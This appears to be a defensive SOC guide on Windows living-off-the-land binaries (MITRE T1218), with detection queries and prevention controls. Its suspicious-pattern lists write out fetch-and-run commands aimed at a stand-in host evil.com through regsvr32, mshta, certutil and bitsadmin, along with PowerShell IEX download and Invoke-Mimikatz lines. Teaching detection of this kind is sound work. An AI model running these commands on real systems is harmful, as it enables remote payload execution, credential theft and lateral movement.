Threats

T1218

Living-off-the-Land Binaries

How attackers abuse signed Microsoft binaries to evade detection --- the LOLBins that every SOC analyst must recognize and the command-line patterns that reveal their malicious use.

View on Graph

What LOLBins Are and Why Attackers Love Them

  • LOLBins (Living-off-the-Land Binaries) are trusted, Microsoft-signed executables that attackers misuse to evade detection and application allowlisting.
  • MITRE ATT&CK maps LOLBin abuse to T1218 (System Binary Proxy Execution), covering regsvr32.exe, mshta.exe, cmstp.exe, certutil.exe, and dozens more.
  • Because these binaries are Microsoft-signed, security tools must allow them to execute — making them effective across on-prem and cloud environments.
  • Attackers exploit this trust: instead of dropping custom malware that might get flagged, they use tools already on the system.

The LOLBins Every Analyst Must Recognize

PowerShell (T1059.001) — The Swiss Army Knife

PowerShell is the most abused LOLBin. It can download payloads, execute code, access the Windows API, and run scripts entirely in memory.

Suspicious command-line patterns:

PatternWhat It DoesDetection
powershell -EncodedCommand <base64>Executes base64-encoded script — hides the actual commandEvent 4688 with -Enc or -EncodedCommand
powershell -c <inline command>Runs inline command without script fileSuspicious if parent process is Office, browser, or email client
powershell IEX (New-Object Net.WebClient).DownloadString('http://...')Downloads and executes remote payload without writing to diskEvent 4688 with DownloadString, WebClient, IEX
powershell -NoProfile -WindowStyle HiddenRuns silently — no console windowHidden window flag is itself suspicious for non-administrative use
powershell -Command "Invoke-Mimikatz"Loads Mimikatz in memoryEvent 4688 with Mimikatz function names

SPL query — detect suspicious PowerShell (also applicable to credential dumping scenarios):

index=windows sourcetype="WinEventLog:Security" EventCode=4688
| search NewProcessName="*powershell.exe"
| where CommandLine LIKE "%-EncodedCommand%" OR CommandLine LIKE "%IEX%" OR CommandLine LIKE "%DownloadString%" OR CommandLine LIKE "-WindowStyle Hidden"
| stats values(CommandLine) as CommandLines by ParentProcessName, SubjectUserName, ComputerName
| eval alert = "HIGH — suspicious PowerShell: " . ParentProcessName . " spawned powershell.exe"

Rundll32 (T1218.011) — The DLL Runner

rundll32.exe executes DLLs. Attackers use it to run malicious DLLs and JavaScript.

Suspicious patterns:

  • rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";... — JavaScript execution via rundll32
  • rundll32.exe <malicious.dll>,<export> — loading attacker-supplied DLL
  • rundll32.exe zipfldr.dll,RouteTheCall <file.zip> — launching via ZIP functionality

Regsvr32 (T1218.010) — The COM Registrar

regsvr32.exe registers COM components. Attackers use it to execute scripts hosted remotely.

Suspicious command:

regsvr32.exe /s /n /u /i:http://evil.com/payload.sct scrobj.dll

This loads a scriptlet from a remote URL using the legitimate scrobj.dll — no malware on disk.

Mshta (T1218.005) — The HTLA Runner

mshta.exe executes Microsoft HTML Applications (.hta files). Attackers use it to run JavaScript/VBScript.

Suspicious patterns:

  • mshta.exe http://evil.com/payload.hta — remote .hta execution
  • mshta.exe javascript:"<script>...</script>" — inline script execution
  • mshta.exe "C:\Users\Public\malicious.hta" — .hta in non-standard location

Certutil (no MITRE sub-technique — utility abuse)

certutil.exe is a built-in certificate utility. Attackers abuse its download and decode functionality.

Suspicious patterns:

  • certutil -urlcache -split -f http://evil.com/payload.exe — downloads a file from a URL
  • certutil -decode encoded.txt output.exe — decodes base64-encoded executable
  • certutil -ping — connectivity check to attacker infrastructure

Wmic (T1047) — The WMI Executioner

wmic.exe provides WMI access from the command line. Attackers use it for process creation, lateral movement, and task execution.

Suspicious patterns:

  • wmic process call create "powershell.exe -EncodedCommand..." — creates a new process via WMI
  • wmic /node:TARGET_SERVER process call create "cmd.exe /c ..." — lateral movement to remote host
  • wmic /node:TARGET_SERVER /user:DOMAIN\attacker process call create ... — authentication for lateral movement

Cscript / Wscript (T1059.005) — Script Hosts

cscript.exe and wscript.exe run VBScript and JScript. Dropped script files in non-standard locations are suspicious.

Suspicious patterns:

  • .vbs or .js files in %TEMP%, %APPDATA%, or user Downloads folder
  • Scripts making network connections (WinHttp.WinHttpRequest, MSXML2.ServerXMLHTTP)
  • Scripts running from non-standard parent processes (email client, browser)

BITSAdmin (T1197) — Background Downloader

bitsadmin.exe downloads files via Background Intelligent Transfer Service (BITS). It can survive reboots and proxy changes.

Suspicious patterns:

  • bitsadmin /transfer job /download /priority high http://evil.com/payload.exe C:\Users\Public\payload.exe
  • bitsadmin /create /download http://evil.com/stage2.ps1 C:\temp\stage2.ps1
  • BITS jobs created by non-admin users

Detection — Finding LOLBin Abuse

The Parent-Process Analysis Pattern

The most effective detection technique for LOLBin abuse is parent-child process analysis. The same program run from different parent processes means different things:

LOLBinNormal ParentSuspicious ParentSuspicious Child
powershell.exeexplorer.exe (user runs script), taskeng.exe (scheduled task)winword.exe, excel.exe, outlook.exe, chrome.exe, firefox.exeAny network connection (net.exe, nslookup.exe)
rundll32.exesvchost.exe, explorer.exepowershell.exe, winword.exe, wscript.exepowershell.exe, cmd.exe
regsvr32.exesvchost.exe (COM registration)wscript.exe, explorer.exe (user directory)DNS queries to uncommon domains
mshta.exeSystem (rarely run legitimately anymore)Any user-interactive processpowershell.exe, cmd.exe, network connections
certutil.exeSystem (certificate operations)cmd.exe, powershell.exeNetwork connections (download)
wmic.exesvchost.exe (admin tasks)powershell.exe, explorer.exe (non-admin)cmd.exe, powershell.exe on remote host — a key insider threat signal

SPL query — detect suspicious LOLBin parent process:

index=windows sourcetype="WinEventLog:Security" EventCode=4688
| search NewProcessName IN ("*powershell.exe", "*rundll32.exe", "*regsvr32.exe", "*mshta.exe", "*certutil.exe", "*wmic.exe", "*cscript.exe", "*wscript.exe", "*bitsadmin.exe")
| search ParentProcessName IN ("*winword.exe", "*excel.exe", "*outlook.exe", "*powerpnt.exe", "*chrome.exe", "*firefox.exe", "*msedge.exe")
| eval alert = "CRITICAL — LOLBin abuse: " . ParentProcessName . " spawned " . NewProcessName
| table _time, ComputerName, SubjectUserName, ParentProcessName, NewProcessName, CommandLine, alert

Command-Line Analysis

Focus on these signal-rich patterns in command lines:

  • URLs in command lines — any LOLBin with an HTTP/HTTPS URL is suspicious (except certutil which legitimately fetches CRLs)
  • Base64 strings-EncodedCommand, long base64 in /i: parameters
  • Multiple flags — legitimate use of LOLBins tends to use 1-2 flags. Attackers use 4+ (e.g., regsvr32 /s /n /u /i:)
  • Unusual file extensions.ps1, .vbs, .hta, .dll, .exe files in %TEMP% or %APPDATA%

Network Connection Correlation

When a LOLBin executes and immediately makes a network connection, that is the strongest single signal. Correlate process creation (4688) with network connection events (Sysmon Event 3):

SPL query — detect LOLBin with immediate network connection:

index=windows sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=3 (Network connection detected)
| search Image IN ("*powershell.exe", "*rundll32.exe", "*regsvr32.exe", "*mshta.exe", "*certutil.exe", "*wmic.exe")
| stats values(DestinationIp) as DestIPs, values(DestinationPort) as DestPorts, values(DestinationHostname) as DestHosts by SourceHostname, Image, CommandLine
| eval alert = "HIGH — " . Image . " on " . SourceHostname . " making network connections to " . mvcount(DestIPs) . " IPs"
| table SourceHostname, Image, CommandLine, DestIPs, DestPorts, alert

Prevention

ControlWhat It PreventsImplementation
AppLocker / WDACBlocks non-approved executablesOnly allow Microsoft-signed + organization-signed binaries. Blocks untrusted binaries but misses LOLBins.
ASR RulesBlocks specific LOLBin abuse patternsBlock Office applications from creating child processes, Block JavaScript/VBScript execution
Constrained Language Mode (PowerShell)Prevents PowerShell-based LOLBin abuseSet System.Environment __PSLockdownPolicy or use WDAC to enforce CLM
AMSIDetects malicious script contentBypasses apply but many are detected by AMSI
Event ID 4688 with command-line loggingProvides visibility into LOLBin usageEnable command-line logging in Group Policy
Sysmon Event 1 with command-line loggingMore detailed process creation telemetryConfigure Sysmon to capture all process creation with command lines

Sources